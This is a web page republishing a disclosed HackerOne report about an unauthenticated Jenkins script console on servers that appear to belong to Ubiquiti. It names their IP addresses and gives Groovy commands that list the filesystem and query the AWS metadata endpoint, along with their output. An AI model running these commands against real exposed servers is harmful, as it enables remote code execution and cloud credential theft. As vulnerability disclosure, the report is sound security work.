Skip to content
RCE Disclosed report Beginner

Public Jenkins instance with /script enabled

A Jenkins server was exposed to the internet with no authentication and its script console enabled, letting anyone run commands on the host. The reporter used this to list the filesystem and reach the AWS instance metadata service, which could expose cloud credentials.

Olivier Beg Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in under an hour
  • Fixed in under an hour
  • Paid in under an hour
  • Disclosed after 10 days

Summary by the researcher

Ubiquiti exposed a Jenkins server on the internet without any authentication, this allowed me to reach the AWS metadata service and execute code on the server itself. They resolved the issue and rewarded a bounty within 30 minutes of reporting, really impressive.

The report

Hi,

First of all. I'm not 100% able to verify that this server is actually owned by Ubnt as there are multiple DNS Name's in the SSL certificate.

DNS Name: *.uum.com
DNS Name: *.ubnt.com
DNS Name: *.svc.ubnt.com
DNS Name: *.api.uum.com
DNS Name: *.svc.uum.com
DNS Name: uum.com

So, the server hosted on https://54.191.232.223/and https://54.186.253.37/is reachable from the internet and has the scirpt console enabled.

You can execute code on it by going to: https://54.186.253.37/script and insert the following code:

"ls /".execute().text

result

Result: bin
boot
dev
docker-java-home
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

It also allows reaching the AWS metadata server:

```
"curl http://169.254.169.254/latest/meta-data/".execute().text
```

__Result__

```
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
```

## Impact

RCE

{{media:0}}
{{media:1}}

The original report as published on HackerOne, by smiegles. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Jenkins instance was exposed to the internet without authentication while the script console feature remained enabled.

Impact

An attacker could execute code on the server and reach the AWS metadata service; the text states the impact as RCE.

What the attacker needed

No authentication required; internet-reachable Jenkins server

The fix

The issue was fixed by the owner, who resolved it and paid a bounty within 30 minutes of the report.

How it was found

  1. Open the Jenkins script console page on the exposed server.
  2. Run a command to list the root directory and see the output.
  3. Run a command to query the AWS metadata endpoint and read the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Jenkins is a tool that builds and tests software. Its script console lets an administrator run code on the server, so it must never be open to the public. Here it was open with no login, so anyone could run commands and also ask the cloud provider's internal metadata service for information about the machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Olivier Beg

View all

18 more disclosed reports, best first.

More from Ubiquiti Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.